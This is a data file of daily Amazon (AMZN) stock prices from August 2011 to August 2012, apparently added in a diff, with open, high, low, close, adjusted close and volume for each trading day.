+2011-08-03,212.97000122070312,214.8300018310547,205.5399932861328,209.9600067138672,209.9600067138672,8197100,AMZN
+2011-08-04,206.72999572753906,208.0,201.4499969482422,201.47999572753906,201.47999572753906,6579500,AMZN
+2011-08-05,204.6699981689453,207.32000732421875,194.83999633789062,202.6999969482422,202.6999969482422,10024000,AMZN
+2011-08-08,196.39999389648438,200.38999938964844,190.0500030517578,193.6999969482422,193.6999969482422,10427500,AMZN
+2011-08-09,196.6999969482422,205.08999633789062,190.4600067138672,205.08999633789062,205.08999633789062,10491200,AMZN
+2011-08-10,200.75999450683594,202.39999389648438,193.60000610351562,194.1300048828125,194.1300048828125,8757600,AMZN
+2011-08-11,197.00999450683594,200.85000610351562,191.36000061035156,198.36000061035156,198.36000061035156,7401900,AMZN
+2011-08-12,200.27999877929688,204.55999755859375,197.2100067138672,202.3000030517578,202.3000030517578,5620400,AMZN
+2011-08-15,202.05999755859375,205.27999877929688,198.32000732421875,202.9499969482422,202.9499969482422,4785900,AMZN
+2011-08-16,201.13999938964844,201.38999938964844,194.75,197.67999267578125,197.67999267578125,5205900,AMZN
+2011-08-17,198.52999877929688,199.60000610351562,193.74000549316406,195.92999267578125,195.92999267578125,3991100,AMZN
+2011-08-18,191.2100067138672,191.33999633789062,179.72000122070312,182.52000427246094,182.52000427246094,8275200,AMZN
+2011-08-19,180.2899932861328,190.0,177.5500030517578,178.92999267578125,178.92999267578125,7244200,AMZN
+2011-08-22,182.8300018310547,184.1999969482422,177.10000610351562,177.5399932861328,177.5399932861328,5313700,AMZN
+2011-08-23,178.9199981689453,194.83999633789062,178.52000427246094,193.5500030517578,193.5500030517578,7351600,AMZN
+2011-08-24,193.88999938964844,196.30999755859375,190.1699981689453,193.72999572753906,193.72999572753906,6248700,AMZN
+2011-08-25,194.41000366210938,196.99000549316406,191.07000732421875,192.02999877929688,192.02999877929688,3760800,AMZN
+2011-08-26,191.24000549316406,199.72000122070312,189.60000610351562,199.27000427246094,199.27000427246094,5310700,AMZN
+2011-08-29,202.82000732421875,206.6699981689453,202.5500030517578,206.52999877929688,206.52999877929688,4511000,AMZN
+2011-08-30,205.77999877929688,212.49000549316406,204.32000732421875,210.9199981689453,210.9199981689453,5915700,AMZN
+2011-08-31,212.27000427246094,216.1699981689453,211.35000610351562,215.22999572753906,215.22999572753906,7405000,AMZN
+2011-09-01,215.27999877929688,217.63999938964844,211.6199951171875,212.5399932861328,212.5399932861328,5275300,AMZN
+2011-09-02,208.94000244140625,210.69000244140625,207.0,210.0,210.0,4232000,AMZN
+2011-09-06,204.77000427246094,216.60000610351562,204.47000122070312,216.17999267578125,216.17999267578125,6216200,AMZN
+2011-09-07,218.8000030517578,220.19000244140625,214.22000122070312,219.89999389648438,219.89999389648438,5295800,AMZN
+2011-09-08,218.3000030517578,220.63999938964844,216.33999633789062,217.25999450683594,217.25999450683594,4397900,AMZN
+2011-09-09,215.0500030517578,216.9600067138672,209.75,211.38999938964844,211.38999938964844,4574300,AMZN
+2011-09-12,208.75,216.66000366210938,208.64999389648438,216.55999755859375,216.55999755859375,5342100,AMZN
+2011-09-13,217.7899932861328,219.9499969482422,215.00999450683594,219.52999877929688,219.52999877929688,4835900,AMZN
+2011-09-14,220.22000122070312,224.99000549316406,216.72000122070312,222.57000732421875,222.57000732421875,5881700,AMZN
+2011-09-15,223.99000549316406,227.1999969482422,221.25,226.77999877929688,226.77999877929688,5608800,AMZN
+2011-09-16,227.57000732421875,240.44000244140625,226.74000549316406,239.3000030517578,239.3000030517578,11753000,AMZN
+2011-09-19,237.11000061035156,244.0,232.8800048828125,241.69000244140625,241.69000244140625,8223300,AMZN
+2011-09-20,240.8000030517578,241.0500030517578,231.02999877929688,233.25,233.25,7385500,AMZN
+2011-09-21,234.50999450683594,240.52000427246094,231.80999755859375,231.8699951171875,231.8699951171875,5881500,AMZN
+2011-09-22,224.72000122070312,228.7899932861328,219.0,223.22999572753906,223.22999572753906,8254600,AMZN
+2011-09-23,220.50999450683594,224.49000549316406,219.05999755859375,223.61000061035156,223.61000061035156,6468100,AMZN
+2011-09-26,227.47999572753906,230.24000549316406,221.39999389648438,229.85000610351562,229.85000610351562,5794100,AMZN
+2011-09-27,234.22000122070312,234.75,222.39999389648438,224.2100067138672,224.2100067138672,7837500,AMZN
+2011-09-28,226.35000610351562,235.80999755859375,225.60000610351562,229.7100067138672,229.7100067138672,14436900,AMZN
+2011-09-29,234.1699981689453,234.3000030517578,216.2899932861328,222.44000244140625,222.44000244140625,9378500,AMZN
+2011-09-30,218.19000244140625,223.0,215.2100067138672,216.22999572753906,216.22999572753906,6550300,AMZN
+2011-10-03,217.00999450683594,221.60000610351562,211.38999938964844,211.97999572753906,211.97999572753906,6624400,AMZN
+2011-10-04,209.6199951171875,215.0,200.42999267578125,212.5,212.5,8711600,AMZN
+2011-10-05,212.52999877929688,220.1699981689453,208.47999572753906,219.5,219.5,6508200,AMZN
+2011-10-06,220.27999877929688,223.6199951171875,217.5500030517578,221.50999450683594,221.50999450683594,6849300,AMZN
+2011-10-07,222.47999572753906,227.89999389648438,218.41000366210938,224.74000549316406,224.74000549316406,6784300,AMZN
+2011-10-10,226.22999572753906,232.8000030517578,224.10000610351562,231.32000732421875,231.32000732421875,5143100,AMZN
+2011-10-11,230.60000610351562,236.75,229.0,235.47999572753906,235.47999572753906,5003700,AMZN
+2011-10-12,236.63999938964844,241.83999633789062,234.3300018310547,236.80999755859375,236.80999755859375,6510800,AMZN
+2011-10-13,237.0,239.67999267578125,235.22999572753906,236.14999389648438,236.14999389648438,4833500,AMZN
+2011-10-14,240.8699951171875,246.7100067138672,240.17999267578125,246.7100067138672,246.7100067138672,5923700,AMZN
+2011-10-17,244.2899932861328,246.7100067138672,240.6699981689453,242.3300018310547,242.3300018310547,4779000,AMZN
+2011-10-18,242.30999755859375,244.61000061035156,236.6199951171875,243.8800048828125,243.8800048828125,4609700,AMZN
+2011-10-19,240.6699981689453,243.3300018310547,229.25,231.52999877929688,231.52999877929688,6715100,AMZN
+2011-10-20,232.1300048828125,234.74000549316406,229.8000030517578,233.61000061035156,233.61000061035156,4524900,AMZN
+2011-10-21,236.91000366210938,237.0,230.60000610351562,234.77999877929688,234.77999877929688,4572500,AMZN
+2011-10-24,236.02000427246094,240.47000122070312,234.0,237.61000061035156,237.61000061035156,4975800,AMZN
+2011-10-25,238.58999633789062,239.00999450683594,225.88999938964844,227.14999389648438,227.14999389648438,14012600,AMZN
+2011-10-26,203.69000244140625,207.5800018310547,196.50999450683594,198.39999389648438,198.39999389648438,24134200,AMZN
+2011-10-27,204.25999450683594,208.60000610351562,201.10000610351562,206.77999877929688,206.77999877929688,10774300,AMZN
+2011-10-28,206.52999877929688,218.39999389648438,205.75,217.32000732421875,217.32000732421875,9880400,AMZN
+2011-10-31,215.7899932861328,218.88999938964844,213.0399932861328,213.50999450683594,213.50999450683594,7343300,AMZN
+2011-11-01,208.11000061035156,216.2100067138672,207.42999267578125,212.10000610351562,212.10000610351562,8511800,AMZN
+2011-11-02,215.5500030517578,216.7899932861328,212.72000122070312,215.6199951171875,215.6199951171875,6122000,AMZN
+2011-11-03,216.3000030517578,218.5,213.02000427246094,218.2899932861328,218.2899932861328,5315000,AMZN
+2011-11-04,217.64999389648438,218.22999572753906,214.3300018310547,216.47999572753906,216.47999572753906,4065800,AMZN
+2011-11-07,216.83999633789062,220.1999969482422,214.0,217.0,217.0,3860000,AMZN
+2011-11-08,219.1999969482422,219.35000610351562,215.2100067138672,217.99000549316406,217.99000549316406,3914500,AMZN
+2011-11-09,214.9499969482422,215.6999969482422,210.60000610351562,211.22000122070312,211.22000122070312,4680600,AMZN
+2011-11-10,213.5,214.05999755859375,208.10000610351562,210.7899932861328,210.7899932861328,5044600,AMZN
+2011-11-11,212.52000427246094,217.8800048828125,210.30999755859375,217.38999938964844,217.38999938964844,5163100,AMZN
+2011-11-14,215.64999389648438,222.35000610351562,214.25,218.92999267578125,218.92999267578125,6522200,AMZN
+2011-11-15,218.0,220.3300018310547,214.25999450683594,217.8300018310547,217.8300018310547,5739000,AMZN
+2011-11-16,216.27000427246094,216.97000122070312,211.22999572753906,211.99000549316406,211.99000549316406,5509400,AMZN
+2011-11-17,212.50999450683594,212.89999389648438,202.10000610351562,204.52000427246094,204.52000427246094,7983100,AMZN
+2011-11-18,205.3300018310547,205.33999633789062,197.11000061035156,197.13999938964844,197.13999938964844,8437500,AMZN
+2011-11-21,193.2899932861328,193.36000061035156,185.0500030517578,189.25,189.25,11321200,AMZN
+2011-11-22,186.9499969482422,194.0399932861328,183.5800018310547,192.33999633789062,192.33999633789062,9915600,AMZN
+2011-11-23,193.05999755859375,194.60000610351562,187.88999938964844,188.99000549316406,188.99000549316406,8011300,AMZN
+2011-11-25,190.41000366210938,190.8300018310547,181.50999450683594,182.39999389648438,182.39999389648438,4972000,AMZN
+2011-11-28,191.64999389648438,194.6199951171875,190.5399932861328,194.14999389648438,194.14999389648438,7207300,AMZN
+2011-11-29,194.77999877929688,195.5,187.3000030517578,188.38999938964844,188.38999938964844,6575100,AMZN
+2011-11-30,194.75999450683594,195.3000030517578,188.75,192.2899932861328,192.2899932861328,7717000,AMZN
+2011-12-01,191.85000610351562,198.07000732421875,191.58999633789062,197.1300048828125,197.1300048828125,7327700,AMZN
+2011-12-02,197.07000732421875,199.66000366210938,195.17999267578125,196.02999877929688,196.02999877929688,7526200,AMZN
+2011-12-05,198.86000061035156,199.0,193.6699981689453,196.24000549316406,196.24000549316406,5922100,AMZN
+2011-12-06,195.97999572753906,198.32000732421875,190.11000061035156,191.99000549316406,191.99000549316406,5202000,AMZN
+2011-12-07,191.02999877929688,196.7100067138672,189.1199951171875,195.32000732421875,195.32000732421875,6427300,AMZN
+2011-12-08,193.57000732421875,195.88999938964844,190.0800018310547,190.47999572753906,190.47999572753906,4361100,AMZN
+2011-12-09,191.2100067138672,193.9499969482422,188.39999389648438,193.02999877929688,193.02999877929688,5158800,AMZN
+2011-12-12,190.02999877929688,191.14999389648438,187.6300048828125,189.52000427246094,189.52000427246094,4343200,AMZN
+2011-12-13,188.55999755859375,189.67999267578125,178.5,180.50999450683594,180.50999450683594,9297300,AMZN
+2011-12-14,179.0,180.75,170.25,180.2100067138672,180.2100067138672,11614200,AMZN
+2011-12-15,182.0500030517578,184.8000030517578,179.52999877929688,181.25999450683594,181.25999450683594,7259900,AMZN
+2011-12-16,182.4199981689453,184.41000366210938,180.30999755859375,181.25999450683594,181.25999450683594,6664100,AMZN
+2011-12-19,182.0,183.1699981689453,179.0,179.3300018310547,179.3300018310547,4533600,AMZN
+2011-12-20,182.69000244140625,183.1699981689453,180.5399932861328,182.52000427246094,182.52000427246094,4600100,AMZN
+2011-12-21,181.9199981689453,183.5,172.49000549316406,174.35000610351562,174.35000610351562,8066700,AMZN
+2011-12-22,175.08999633789062,179.6699981689453,174.2100067138672,179.02999877929688,179.02999877929688,4694900,AMZN
+2011-12-23,179.22000122070312,179.67999267578125,175.60000610351562,177.27999877929688,177.27999877929688,3496500,AMZN
+2011-12-27,177.72999572753906,178.58999633789062,176.16000366210938,176.27000427246094,176.27000427246094,2950900,AMZN
+2011-12-28,176.38999938964844,176.64999389648438,172.27999877929688,173.88999938964844,173.88999938964844,3659500,AMZN
+2011-12-29,169.6199951171875,174.5500030517578,166.97000122070312,173.86000061035156,173.86000061035156,8209300,AMZN
+2011-12-30,173.36000061035156,175.1699981689453,172.49000549316406,173.10000610351562,173.10000610351562,4279800,AMZN
+2012-01-03,175.88999938964844,179.47999572753906,175.5500030517578,179.02999877929688,179.02999877929688,5110800,AMZN
+2012-01-04,179.2100067138672,180.5,176.07000732421875,177.50999450683594,177.50999450683594,4205200,AMZN
+2012-01-05,175.94000244140625,178.25,174.0500030517578,177.61000061035156,177.61000061035156,3809100,AMZN
+2012-01-06,178.07000732421875,184.64999389648438,177.5,182.61000061035156,182.61000061035156,7008400,AMZN
+2012-01-09,182.75999450683594,184.3699951171875,177.0,178.55999755859375,178.55999755859375,5056900,AMZN
+2012-01-10,181.10000610351562,182.39999389648438,177.10000610351562,179.33999633789062,179.33999633789062,3985800,AMZN
+2012-01-11,179.63999938964844,180.77000427246094,178.19000244140625,178.89999389648438,178.89999389648438,3102700,AMZN
+2012-01-12,179.4199981689453,179.49000549316406,175.75,175.92999267578125,175.92999267578125,5385800,AMZN
+2012-01-13,175.80999755859375,178.8000030517578,173.5,178.4199981689453,178.4199981689453,4753500,AMZN
+2012-01-17,180.14999389648438,183.3000030517578,178.50999450683594,181.66000366210938,181.66000366210938,5644500,AMZN
+2012-01-18,181.94000244140625,190.25,181.1199951171875,189.44000244140625,189.44000244140625,7473500,AMZN
+2012-01-19,190.8800048828125,195.94000244140625,190.36000061035156,194.4499969482422,194.4499969482422,7096000,AMZN
+2012-01-20,190.7100067138672,192.89999389648438,189.0399932861328,190.92999267578125,190.92999267578125,5610300,AMZN
+2012-01-23,190.7899932861328,191.72999572753906,185.22999572753906,186.08999633789062,186.08999633789062,4585300,AMZN
+2012-01-24,185.0,188.41000366210938,183.82000732421875,187.0,187.0,4673800,AMZN
+2012-01-25,186.99000549316406,188.1699981689453,184.61000061035156,187.8000030517578,187.8000030517578,4306400,AMZN
+2012-01-26,189.3000030517578,194.85000610351562,188.72999572753906,193.32000732421875,193.32000732421875,5873600,AMZN
+2012-01-27,193.08999633789062,196.5,192.3300018310547,195.3699951171875,195.3699951171875,4659000,AMZN
+2012-01-30,193.67999267578125,195.0,190.1300048828125,192.14999389648438,192.14999389648438,5424100,AMZN
+2012-01-31,194.0,195.6300048828125,189.6999969482422,194.44000244140625,194.44000244140625,12772200,AMZN
+2012-02-01,173.80999755859375,179.9499969482422,172.0,179.4600067138672,179.4600067138672,21336600,AMZN
+2012-02-02,179.64999389648438,181.94000244140625,176.8000030517578,181.72000122070312,181.72000122070312,8736300,AMZN
+2012-02-03,182.8300018310547,187.89999389648438,181.88999938964844,187.67999267578125,187.67999267578125,8120500,AMZN
+2012-02-06,186.27999877929688,186.55999755859375,182.9199981689453,183.13999938964844,183.13999938964844,5310000,AMZN
+2012-02-07,182.64999389648438,184.94000244140625,182.05999755859375,184.19000244140625,184.19000244140625,5103900,AMZN
+2012-02-08,184.9499969482422,186.49000549316406,182.91000366210938,185.47999572753906,185.47999572753906,5476600,AMZN
+2012-02-09,184.5,185.69000244140625,181.75999450683594,184.97999572753906,184.97999572753906,7189200,AMZN
+2012-02-10,183.4199981689453,187.6300048828125,182.52000427246094,185.5399932861328,185.5399932861328,5797100,AMZN
+2012-02-13,187.1699981689453,192.5,185.67999267578125,191.58999633789062,191.58999633789062,6071400,AMZN
+2012-02-14,191.0800018310547,193.57000732421875,186.10000610351562,191.3000030517578,191.3000030517578,9527100,AMZN
+2012-02-15,191.2899932861328,191.5399932861328,183.25999450683594,184.47000122070312,184.47000122070312,7794400,AMZN
+2012-02-16,177.7899932861328,181.67999267578125,175.13999938964844,179.92999267578125,179.92999267578125,12563800,AMZN
+2012-02-17,180.08999633789062,183.41000366210938,179.36000061035156,182.5,182.5,7418100,AMZN
+2012-02-21,182.64999389648438,184.75,180.5800018310547,182.25999450683594,182.25999450683594,6756500,AMZN
+2012-02-22,181.9499969482422,182.99000549316406,180.2899932861328,180.5800018310547,180.5800018310547,5785400,AMZN
+2012-02-23,179.63999938964844,180.75,176.9600067138672,178.88999938964844,178.88999938964844,5153800,AMZN
+2012-02-24,179.6999969482422,180.74000549316406,178.3699951171875,179.1300048828125,179.1300048828125,3668700,AMZN
+2012-02-27,177.5399932861328,179.19000244140625,176.5,178.52999877929688,178.52999877929688,3706200,AMZN
+2012-02-28,178.89999389648438,184.2899932861328,177.9499969482422,183.8000030517578,183.8000030517578,5764500,AMZN
+2012-02-29,183.88999938964844,184.0,179.00999450683594,179.69000244140625,179.69000244140625,5300300,AMZN
+2012-03-01,179.88999938964844,180.49000549316406,176.5800018310547,180.0399932861328,180.0399932861328,4936000,AMZN
+2012-03-02,179.47999572753906,181.83999633789062,178.9199981689453,179.3000030517578,179.3000030517578,3657800,AMZN
+2012-03-05,179.0,181.82000732421875,178.17999267578125,180.25999450683594,180.25999450683594,4682700,AMZN
+2012-03-06,178.67999267578125,183.5,178.0399932861328,181.08999633789062,181.08999633789062,5612200,AMZN
+2012-03-07,182.64999389648438,185.5,182.39999389648438,183.77000427246094,183.77000427246094,4951500,AMZN
+2012-03-08,184.1699981689453,188.3800048828125,183.8000030517578,187.63999938964844,187.63999938964844,4221500,AMZN
+2012-03-09,186.7899932861328,187.1999969482422,183.44000244140625,184.32000732421875,184.32000732421875,4510600,AMZN
+2012-03-12,184.1300048828125,185.39999389648438,182.1999969482422,183.38999938964844,183.38999938964844,2587600,AMZN
+2012-03-13,183.9199981689453,184.8699951171875,180.77000427246094,184.58999633789062,184.58999633789062,4405800,AMZN
+2012-03-14,183.64999389648438,184.32000732421875,181.13999938964844,182.25999450683594,182.25999450683594,3699700,AMZN
+2012-03-15,182.02000427246094,184.42999267578125,180.3000030517578,184.42999267578125,184.42999267578125,4160100,AMZN
+2012-03-16,183.27999877929688,185.67999267578125,182.35000610351562,185.0500030517578,185.0500030517578,4934000,AMZN
+2012-03-19,183.4499969482422,186.67999267578125,183.0,185.52000427246094,185.52000427246094,3903400,AMZN
+2012-03-20,184.8800048828125,194.41000366210938,182.8800048828125,192.3300018310547,192.3300018310547,9165400,AMZN
+2012-03-21,192.5,194.27999877929688,191.25999450683594,191.72999572753906,191.72999572753906,4214400,AMZN
+2012-03-22,190.5399932861328,194.05999755859375,190.25999450683594,192.39999389648438,192.39999389648438,3739600,AMZN
+2012-03-23,192.00999450683594,196.1999969482422,191.8000030517578,195.0399932861328,195.0399932861328,5984000,AMZN
+2012-03-26,196.47999572753906,202.97000122070312,195.5,202.8699951171875,202.8699951171875,7613700,AMZN
+2012-03-27,203.58999633789062,209.85000610351562,202.8800048828125,205.44000244140625,205.44000244140625,9600800,AMZN
+2012-03-28,206.13999938964844,207.0,200.30999755859375,201.16000366210938,201.16000366210938,6245000,AMZN
+2012-03-29,201.27999877929688,205.30999755859375,200.6300048828125,204.61000061035156,204.61000061035156,5711200,AMZN
+2012-03-30,205.02000427246094,206.85000610351562,201.8699951171875,202.50999450683594,202.50999450683594,4438100,AMZN
+2012-04-02,198.02000427246094,199.89999389648438,197.0,198.0500030517578,198.0500030517578,6430300,AMZN
+2012-04-03,198.24000549316406,202.38999938964844,197.5,199.66000366210938,199.66000366210938,5000700,AMZN
+2012-04-04,196.9499969482422,197.67999267578125,192.36000061035156,193.99000549316406,193.99000549316406,5456900,AMZN
+2012-04-05,193.5500030517578,196.02999877929688,193.5500030517578,194.38999938964844,194.38999938964844,3217500,AMZN
+2012-04-09,192.02000427246094,194.1999969482422,190.5,191.8699951171875,191.8699951171875,3135900,AMZN
+2012-04-10,192.75,193.52000427246094,186.57000732421875,186.97999572753906,186.97999572753906,4455000,AMZN
+2012-04-11,189.6300048828125,191.97000122070312,186.7899932861328,187.97000122070312,187.97000122070312,4337800,AMZN
+2012-04-12,188.05999755859375,192.25999450683594,185.61000061035156,190.69000244140625,190.69000244140625,4027900,AMZN
+2012-04-13,189.89999389648438,189.94000244140625,186.25999450683594,188.4600067138672,188.4600067138672,3431800,AMZN
+2012-04-16,189.00999450683594,189.47000122070312,183.64999389648438,185.5,185.5,4044300,AMZN
+2012-04-17,187.2100067138672,190.0399932861328,186.8699951171875,188.38999938964844,188.38999938964844,2829200,AMZN
+2012-04-18,188.82000732421875,193.4499969482422,188.74000549316406,191.07000732421875,191.07000732421875,4001900,AMZN
+2012-04-19,192.92999267578125,194.5500030517578,189.75,191.10000610351562,191.10000610351562,4002400,AMZN
+2012-04-20,192.33999633789062,193.47999572753906,189.8000030517578,189.97999572753906,189.97999572753906,3243600,AMZN
+2012-04-23,188.99000549316406,188.99000549316406,185.50999450683594,188.24000549316406,188.24000549316406,3481000,AMZN
+2012-04-24,188.67999267578125,190.6999969482422,186.50999450683594,190.3300018310547,190.3300018310547,3376300,AMZN
+2012-04-25,191.6699981689453,194.8000030517578,191.60000610351562,194.4199981689453,194.4199981689453,3955100,AMZN
+2012-04-26,193.57000732421875,196.36000061035156,193.02000427246094,195.99000549316406,195.99000549316406,10234000,AMZN
+2012-04-27,224.8300018310547,228.69000244140625,220.22000122070312,226.85000610351562,226.85000610351562,22116900,AMZN
+2012-04-30,223.9499969482422,233.83999633789062,223.0500030517578,231.89999389648438,231.89999389648438,9756900,AMZN
+2012-05-01,229.39999389648438,232.97000122070312,228.39999389648438,230.0399932861328,230.0399932861328,6754900,AMZN
+2012-05-02,227.82000732421875,231.44000244140625,227.39999389648438,230.25,230.25,4593400,AMZN
+2012-05-03,229.74000549316406,232.52999877929688,228.02999877929688,229.4499969482422,229.4499969482422,4055500,AMZN
+2012-05-04,227.8000030517578,229.72000122070312,223.74000549316406,223.99000549316406,223.99000549316406,4585200,AMZN
+2012-05-07,222.36000061035156,226.8699951171875,222.2899932861328,225.16000366210938,225.16000366210938,3314300,AMZN
+2012-05-08,223.14999389648438,225.38999938964844,218.1999969482422,223.89999389648438,223.89999389648438,4522400,AMZN
+2012-05-09,220.58999633789062,225.77999877929688,220.16000366210938,222.97999572753906,222.97999572753906,3712000,AMZN
+2012-05-10,223.91000366210938,229.0800018310547,221.9499969482422,226.69000244140625,226.69000244140625,4648400,AMZN
+2012-05-11,225.9499969482422,230.67999267578125,225.72999572753906,227.67999267578125,227.67999267578125,4193600,AMZN
+2012-05-14,225.60000610351562,227.2899932861328,222.50999450683594,222.92999267578125,222.92999267578125,3096600,AMZN
+2012-05-15,226.5,230.61000061035156,223.0,224.38999938964844,224.38999938964844,5713700,AMZN
+2012-05-16,225.0,228.0,222.5,224.05999755859375,224.05999755859375,5261800,AMZN
+2012-05-17,225.0500030517578,226.0,218.08999633789062,218.36000061035156,218.36000061035156,4505500,AMZN
+2012-05-18,219.41000366210938,219.6300048828125,212.80999755859375,213.85000610351562,213.85000610351562,5231700,AMZN
+2012-05-21,214.02999877929688,219.97999572753906,212.82000732421875,218.11000061035156,218.11000061035156,3579800,AMZN
+2012-05-22,218.30999755859375,218.8699951171875,213.9600067138672,215.3300018310547,215.3300018310547,3733100,AMZN
+2012-05-23,214.7100067138672,217.5500030517578,211.17999267578125,217.27999877929688,217.27999877929688,4243800,AMZN
+2012-05-24,216.97999572753906,217.66000366210938,212.6999969482422,215.24000549316406,215.24000549316406,3141100,AMZN
+2012-05-25,214.99000549316406,215.97999572753906,212.22000122070312,212.88999938964844,212.88999938964844,2171400,AMZN
+2012-05-29,214.3000030517578,216.5500030517578,212.2899932861328,214.75,214.75,2693900,AMZN
+2012-05-30,212.13999938964844,212.97999572753906,207.75,209.22999572753906,209.22999572753906,4078200,AMZN
+2012-05-31,209.47999572753906,213.7899932861328,207.11000061035156,212.91000366210938,212.91000366210938,4944000,AMZN
+2012-06-01,208.44000244140625,211.22999572753906,207.3000030517578,208.22000122070312,208.22000122070312,3951500,AMZN
+2012-06-04,207.39999389648438,215.35000610351562,206.3699951171875,214.57000732421875,214.57000732421875,4299600,AMZN
+2012-06-05,213.85000610351562,216.86000061035156,211.16000366210938,213.2100067138672,213.2100067138672,3543900,AMZN
+2012-06-06,214.6300048828125,218.39999389648438,214.52000427246094,217.63999938964844,217.63999938964844,2710100,AMZN
+2012-06-07,219.64999389648438,221.49000549316406,218.11000061035156,218.8000030517578,218.8000030517578,3503900,AMZN
+2012-06-08,218.61000061035156,219.4199981689453,216.66000366210938,218.47999572753906,218.47999572753906,2877000,AMZN
+2012-06-11,217.49000549316406,220.8699951171875,215.1999969482422,216.5,216.5,3749100,AMZN
+2012-06-12,217.64999389648438,218.0,214.52000427246094,216.4199981689453,216.4199981689453,2833300,AMZN
+2012-06-13,215.52000427246094,217.3800048828125,213.52000427246094,214.72999572753906,214.72999572753906,2325200,AMZN
+2012-06-14,215.25999450683594,216.5,212.55999755859375,214.4499969482422,214.4499969482422,3060900,AMZN
+2012-06-15,215.2899932861328,219.3300018310547,214.4600067138672,218.35000610351562,218.35000610351562,3785200,AMZN
+2012-06-18,217.27999877929688,223.75999450683594,216.72999572753906,222.66000366210938,222.66000366210938,3369600,AMZN
+2012-06-19,223.25999450683594,225.1999969482422,221.66000366210938,224.02999877929688,224.02999877929688,2716600,AMZN
+2012-06-20,224.50999450683594,224.74000549316406,220.83999633789062,223.02000427246094,223.02000427246094,2444400,AMZN
+2012-06-21,223.83999633789062,226.02999877929688,220.52000427246094,220.57000732421875,220.57000732421875,2843000,AMZN
+2012-06-22,221.8300018310547,222.50999450683594,219.35000610351562,222.16000366210938,222.16000366210938,2187500,AMZN
+2012-06-25,220.3000030517578,221.58999633789062,218.0,220.07000732421875,220.07000732421875,2382300,AMZN
+2012-06-26,221.4499969482422,226.38999938964844,221.4499969482422,225.61000061035156,225.61000061035156,3754100,AMZN
+2012-06-27,225.00999450683594,227.5,223.3000030517578,225.6199951171875,225.6199951171875,2799200,AMZN
+2012-06-28,223.9199981689453,224.6199951171875,218.75,221.30999755859375,221.30999755859375,2994800,AMZN
+2012-06-29,224.6999969482422,228.35000610351562,223.7100067138672,228.35000610351562,228.35000610351562,3614400,AMZN
+2012-07-02,229.3000030517578,229.33999633789062,226.33999633789062,229.32000732421875,229.32000732421875,2330700,AMZN
+2012-07-03,229.13999938964844,229.52999877929688,227.58999633789062,229.52999877929688,229.52999877929688,1331700,AMZN
+2012-07-05,228.6199951171875,230.5,226.52999877929688,227.05999755859375,227.05999755859375,2682300,AMZN
+2012-07-06,226.35000610351562,228.89999389648438,224.17999267578125,225.0500030517578,225.0500030517578,3203200,AMZN
+2012-07-09,225.0,226.0,223.4499969482422,225.0500030517578,225.0500030517578,1922000,AMZN
+2012-07-10,226.25,227.13999938964844,218.27999877929688,219.5,219.5,2982100,AMZN
+2012-07-11,218.9499969482422,221.74000549316406,215.33999633789062,218.3699951171875,218.3699951171875,2734700,AMZN
+2012-07-12,216.61000061035156,217.3000030517578,212.61000061035156,215.36000061035156,215.36000061035156,2616200,AMZN
+2012-07-13,215.6300048828125,219.30999755859375,213.8800048828125,218.38999938964844,218.38999938964844,2221900,AMZN
+2012-07-16,216.60000610351562,218.30999755859375,214.4600067138672,216.00999450683594,216.00999450683594,2004200,AMZN
+2012-07-17,217.4499969482422,217.94000244140625,213.9600067138672,216.92999267578125,216.92999267578125,1987000,AMZN
+2012-07-18,216.14999389648438,218.6699981689453,215.7100067138672,217.47000122070312,217.47000122070312,2093000,AMZN
+2012-07-19,220.72999572753906,227.5,220.69000244140625,226.1699981689453,226.1699981689453,5449400,AMZN
+2012-07-20,225.36000061035156,229.38999938964844,225.2899932861328,228.2899932861328,228.2899932861328,4170000,AMZN
+2012-07-23,224.72000122070312,226.5800018310547,221.5399932861328,226.00999450683594,226.00999450683594,5515100,AMZN
+2012-07-24,226.27000427246094,226.61000061035156,221.22999572753906,223.0399932861328,223.0399932861328,5008700,AMZN
+2012-07-25,222.0,222.5,215.91000366210938,217.0500030517578,217.0500030517578,3646700,AMZN
+2012-07-26,220.0,221.4499969482422,214.9499969482422,220.00999450683594,220.00999450683594,6937400,AMZN
+2012-07-27,225.25,238.33999633789062,224.5,237.32000732421875,237.32000732421875,11313900,AMZN
+2012-07-30,237.0,240.74000549316406,234.07000732421875,236.08999633789062,236.08999633789062,3736400,AMZN
+2012-07-31,235.10000610351562,236.3000030517578,231.61000061035156,233.3000030517578,233.3000030517578,3453600,AMZN
+2012-08-01,234.13999938964844,234.3800048828125,230.6999969482422,232.08999633789062,232.08999633789062,2543800,AMZN
+2012-08-02,230.55999755859375,234.33999633789062,228.66000366210938,230.80999755859375,230.80999755859375,3048100,AMZN
+2012-08-03,234.02999877929688,236.49000549316406,233.02999877929688,234.97000122070312,234.97000122070312,2825300,AMZN
+2012-08-06,235.55999755859375,235.74000549316406,233.80999755859375,233.99000549316406,233.99000549316406,1843700,AMZN
+2012-08-07,234.1300048828125,238.0,233.25,236.55999755859375,236.55999755859375,2058300,AMZN
+2012-08-08,235.2899932861328,236.4499969482422,233.58999633789062,234.3800048828125,234.3800048828125,1534300,AMZN
+2012-08-09,233.92999267578125,235.99000549316406,233.5,234.05999755859375,234.05999755859375,1548100,AMZN
+2012-08-10,233.0800018310547,234.85000610351562,231.42999267578125,232.75,232.75,1852500,AMZN
+2012-08-13,232.22999572753906,234.3699951171875,231.0,232.44000244140625,232.44000244140625,1997300,AMZN
+2012-08-14,234.7100067138672,236.72000122070312,232.6199951171875,233.19000244140625,233.19000244140625,2751000,AMZN
+2012-08-15,232.25999450683594,238.13999938964844,232.25,237.4199981689453,237.4199981689453,3264700,AMZN
+2012-08-16,237.72000122070312,242.82000732421875,236.1999969482422,241.5500030517578,241.5500030517578,4312100,AMZN
+2012-08-17,240.60000610351562,243.35000610351562,240.47000122070312,241.1699981689453,241.1699981689453,3085800,AMZN
+2012-08-20,241.3699951171875,241.64999389648438,238.1999969482422,240.35000610351562,240.35000610351562,1889900,AMZN
+2012-08-21,240.8800048828125,243.85000610351562,238.5500030517578,239.4499969482422,239.4499969482422,2571500,AMZN
+2012-08-22,239.39999389648438,244.89999389648438,238.8000030517578,243.10000610351562,243.10000610351562,2473700,AMZN
+2012-08-23,242.13999938964844,243.47999572753906,239.02000427246094,241.1999969482422,241.1999969482422,2453900,AMZN
+2012-08-24,241.67999267578125,246.8699951171875,241.36000061035156,245.74000549316406,245.74000549316406,3698800,AMZN
+2012-08-27,245.7899932861328,247.5,243.1199951171875,243.9199981689453,243.9199981689453,2929700,AMZN
+2012-08-28,243.97000122070312,246.77999877929688,243.0,246.11000061035156,246.11000061035156,2742300,AMZN
